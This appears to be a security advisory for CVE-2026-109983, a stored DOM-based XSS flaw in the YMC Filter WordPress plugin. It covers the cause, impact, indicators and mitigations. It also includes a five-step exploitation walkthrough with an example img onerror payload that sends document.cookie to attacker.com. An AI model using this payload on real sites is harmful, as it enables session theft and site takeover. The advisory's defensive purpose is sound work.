CVE-2026-109983: 
WordPress Analyse et atténuation des vulnérabilités

CVE-2026-109983 is a Stored DOM-Based Cross-Site Scripting (XSS) vulnerability in the YMC Filter plugin for WordPress, affecting all versions up to and including 3.12.19. The flaw stems from insufficient input sanitization and output escaping of the post_title parameter, allowing authenticated attackers with author-level privileges or above to inject and store arbitrary web scripts. Compounding the issue, the autocomplete REST endpoint's permission callback unconditionally returns true, enabling any unauthenticated visitor to trigger the stored payload via the YMC filter search box. The CVE is currently in Reserved status and has an estimated CVSS severity of Medium (Feedly, VulDB).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically in the Stored DOM-Based XSS variant (Feedly). An authenticated author-level user can submit a crafted post_title value containing malicious JavaScript that is stored without proper sanitization. The second critical flaw is that the plugin's autocomplete REST API endpoint has a permission callback that always returns true, meaning no authentication is required to invoke it — any site visitor who uses the YMC filter search box can inadvertently (or deliberately) trigger execution of the stored payload in their browser context. This combination elevates the practical risk beyond a typical authenticated stored XSS, as payload delivery requires no further attacker interaction after initial injection.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who visit pages containing the injected content or interact with the YMC filter search box. This can lead to session cookie theft, credential harvesting, unauthorized actions performed on behalf of victims (including administrators), and potential site takeover if an administrator triggers the payload. The unauthenticated trigger vector via the REST endpoint significantly broadens the attack surface, as any site visitor can activate the payload without authentication (Feedly).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported at this time, and the CVE remains in Reserved status (Feedly, VulDB). Exploitation requires an attacker to hold at minimum an author-level WordPress account to inject the payload, but payload delivery to victims requires no authentication due to the misconfigured REST endpoint permission callback. No EPSS score or CISA KEV catalog entry is currently available for this CVE.

1. Obtain Author-Level Access: Register or compromise a WordPress account with at least author-level privileges on the target site running YMC Filter plugin ≤ 3.12.19.
2. Craft Malicious Post Title: Create or edit a post and inject a malicious JavaScript payload into the post_title field, e.g., <img src=x onerror=document.location='https://attacker.com/steal?c='+document.cookie> or a similar DOM-based XSS vector.
3. Store the Payload: Publish or save the post; the plugin stores the unsanitized post_title value in the database without proper escaping.
4. Trigger via REST Endpoint: Because the autocomplete REST endpoint's permission callback unconditionally returns true, any visitor (authenticated or not) who uses the YMC filter search box will cause the endpoint to return the stored malicious title, which is then rendered in the DOM without sanitization, executing the payload.
5. Harvest Results: Collect stolen session cookies, credentials, or other sensitive data from victim browsers via the attacker-controlled server, potentially escalating to full site compromise if an administrator is targeted (Feedly).

• Logs: WordPress access logs showing repeated or unusual requests to the YMC Filter autocomplete REST API endpoint (e.g., /wp-json/ymc/v1/autocomplete or similar) from diverse or unexpected IP addresses.
• Database: Posts or post metadata containing unexpected <script>, onerror, javascript:, or other XSS-indicative strings within post_title fields in the wp_posts table.
• Network: Outbound requests from victim browsers to unknown external domains shortly after interacting with the YMC filter search box, potentially carrying cookie or session data in query parameters.
• Browser/Client: Unexpected redirects, pop-ups, or network requests originating from pages that include the YMC Filter search widget.

Site administrators should update the YMC Filter plugin to a version beyond 3.12.19 once a patched release is made available by the vendor. As an interim workaround, consider disabling or restricting access to the YMC Filter autocomplete REST API endpoint via server-level rules (e.g., blocking the endpoint in .htaccess or via a WAF rule) to prevent unauthenticated payload triggering. Additionally, restrict post creation and editing privileges to trusted users only, and audit existing posts for unexpected JavaScript in post_title fields. Deploying a Web Application Firewall (WAF) with XSS filtering rules can provide an additional layer of defense (Feedly).